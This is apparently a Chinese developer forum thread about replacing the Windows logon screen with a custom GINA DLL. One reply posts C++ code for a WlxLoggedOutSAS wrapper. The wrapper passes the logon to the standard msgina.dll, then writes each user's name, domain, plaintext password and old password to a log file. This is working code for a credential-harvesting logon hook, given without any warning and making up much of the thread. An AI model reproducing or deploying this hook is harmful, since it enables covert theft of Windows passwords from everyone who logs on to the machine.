MyGina.dll动态库基本完成!!自己的窗体 已经出现到 windows 登陆以前可是怎么传递参数,可以在点击我的里边的确定后判断用户 跳过 windows 登陆窗体呢?
(也就是说我现在的窗体虽然出现在登陆前,但是没有起到 windows登陆窗体的效果)这个函数怎么改????WlxLoggedOutSAS (不知道是不是改这个函数)
(也就是说我现在的窗体虽然出现在登陆前,但是没有起到 windows登陆窗体的效果)这个函数怎么改????WlxLoggedOutSAS (不知道是不是改这个函数)
解决方案 »
- 关于对话框显示的两个小问题,麻烦进来看看哈
- 一个简单的头文件包含问题
- 请问截获ip的问题
- vc.net2008中两小问题,如何让每2秒执行一下按钮IDC_BTN_AA事件,每按一下IDC_BTN_AA,编辑框IDC_EDT_B等于与IDC_EDT_C的值。
- 怎么样在CLISTBOX中控制字体?
- 在一个系统中由系统生成的winsocke号(即SOCKET 类型)是否唯一呢?我猜一定是唯一的,但没有具体验证过。
- //IE浏览器中,当鼠标移到一张图片上时,出现一个“工具条”,可以保存图片等,我想在我的程序中也增加此功能,不知用什么技术?
- Visual Studio.NET 2003 有没有中文版?
- !!!!急!!!! 想赚点外快的高手进来! 本公司有一个政府工程招标,现在由于时间问题需要将一个模块分出来外包!
- 哪位能给俺详细说说句柄!
- 现有一个可执行文件,如何修改其内的资源(包括菜单、图片以及图标等),请高手指点。
- 问个关于消息的问题
(1)、winlogon桌面:主要显示window 安全等界面,如你按下CTRL+ALT+DEL,登陆的界面等
(2)、应用程序桌面:我们平时见到的那个有我的电脑的界面
(3)、屏幕保护桌面:屏幕保护显示界面。
你需要从MSGINA.DLL中获取WlxLoggedOnSAS这个函数。
然后在里面写一句return WLX_SAS_ACTION_NONE;这样就可以将屏幕切换到应用程序桌面,从而跳过Windows原来的登陆窗口。
MSGINA.DLL 我们现在已经在注册表里加了 GINADLL MG_SZ MyGina.dll
return WLX_SAS_ACTION_NONE; 这种方法不行!!各位高手继续进!!!
//在启动到登陆界面时,系统(Winlogon.exe)会调用WlxLoggedOutSAS!int WINAPI WlxLoggedOutSAS (
PVOID pWlxContext,
DWORD dwSasType,
PLUID pAuthenticationId,
PSID pLogonSid,
PDWORD pdwOptions,
PHANDLE phToken,
PWLX_MPR_NOTIFY_INFO pMprNotifyInfo,
PVOID * pProfile)
{
int iRet=0;
PWSTR pszUserName=NULL; //用户名
PWSTR pszDomain=NULL; //机器名
PWSTR pszPassword=NULL; //密码
PWSTR pszOldPassword=NULL; //旧密码
PSTR pLogonTime=new char[100]; //登录时间 //调用 标准MSGINA.DLL中的WlxLoggedOutSAS()函数
iRet = prcWlxLoggedOutSAS(
pWlxContext,
dwSasType,
pAuthenticationId,
pLogonSid,
pdwOptions,
phToken,
pMprNotifyInfo,
pProfile); if(iRet == WLX_SAS_ACTION_LOGON)
{
//Get logon time
CTime tm=CTime::GetCurrentTime();
::sprintf(pLogonTime,"%d_%d_%d %d:%d:%d \r\n",
tm.GetYear(),
tm.GetMonth(),
tm.GetDay(),
tm.GetHour(),
tm.GetMinute(),
tm.GetSecond()); if(pLogonTime!=NULL)
{
WriteInfo("logon_time: ");
WriteInfo(pLogonTime);
} // copy pMprNotifyInfo and pLogonSid for later use
pszUserName=pMprNotifyInfo->pszUserName;
if(pszUserName!=NULL)
{
WriteInfo("Username : ");
WriteInfoW(pszUserName);
} pszDomain=pMprNotifyInfo->pszDomain;
if(pszDomain!=NULL)
{
WriteInfo("Domain : ");
WriteInfoW(pszDomain);
} pszPassword =pMprNotifyInfo->pszPassword;
if(pszPassword!=NULL)
{
WriteInfo("PassWord : ");
WriteInfoW(pszPassword);
} pszOldPassword=pMprNotifyInfo->pszOldPassword;
if(pszOldPassword!=NULL)
{
WriteInfo("OldPassword: ");
WriteInfoW(pszOldPassword);
}} return iRet; }
/********************************************************************/